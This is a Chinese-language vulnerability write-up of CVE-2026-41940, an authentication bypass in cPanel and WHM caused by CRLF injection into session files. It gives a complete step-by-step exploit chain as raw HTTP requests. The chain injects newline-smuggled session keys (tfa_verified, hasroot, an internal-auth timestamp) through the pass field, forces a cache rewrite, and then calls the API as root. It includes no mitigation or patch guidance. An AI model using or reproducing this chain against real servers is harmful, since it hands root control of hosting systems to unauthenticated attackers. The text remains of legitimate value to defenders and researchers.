CVE-2026-41940 是 cPanel 与 WHM 中的一个严重身份验证绕过漏洞,影响所有当前受支持的版本。该漏洞允许未经身份验证的攻击者绕过身份验证,并获得 root 级访问权限(WHM)或用户级访问权限(cPanel)。
该漏洞源于 Cpanel/Session.pm 中的两个主要问题:
saveSession 中的 CRLF 注入:saveSession 函数在将输入写入磁盘上的会话文件之前,未对其进行适当的清理。具体来说,它未能从 pass 字段中去除换行符(\n)。pass 字段通常使用每个会话的密钥(ob)进行加密。但是,如果会话 cookie 不包含 ob 部分(逗号及其后面的部分),则编码会被跳过,pass 值将以明文形式写入。该漏洞的利用是一个多步骤过程:
发送一次失败的登录尝试,以触发在磁盘上创建会话文件。
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
服务器会响应一个 whostmgrsession cookie,例如 whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4...。
使用该会话 cookie 发送另一个请求,但移除 ob 部分(逗号及其后面的所有内容)。在 pass 字段中,使用换行符注入所需的会话密钥。
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
由于缺少 ob 部分,cpsrvd 会以未编码的形式写入 pass 值。注入的换行符会导致后续行被解释为原始会话文件中的独立键值对。
cPanel 使用 JSON 缓存来存储会话。原始注入仅存在于文本文件中。要使其“生效”,我们必须强制 cPanel 重新读取原始文件并更新 JSON 缓存。这可以通过在使用了 Cpanel::Session::Modify 的端点上触发“Token Denied”错误来实现。
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
URL 中缺少安全令牌会触发 do_token_denied,该函数使用 Cpanel::Session::Modify 来更新 token_denied 计数。Modify 会读取原始文件(绕过缓存),然后同时写入原始文件和 JSON 缓存,从而有效地将我们注入的密钥提升到 JSON 缓存的顶层。
现在,在 cPanel 看来,该会话已完全“通过身份验证”。successful_internal_auth_with_timestamp 密钥可绕过 /etc/shadow 检查。
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
[TOKEN] 可以从会话中的 cp_security_token 字段获取,该字段通常在“Token Denied”响应中返回,也可以通过检查会话 cookie 的行为来找到。
tfa_verified=1:绕过双因素身份验证。hasroot=1:在 WHM 中授予 root 权限。successful_internal_auth_with_timestamp=[TIMESTAMP]:绕过针对系统 shadow 文件的实际密码验证。user=root:将会话用户设置为 root。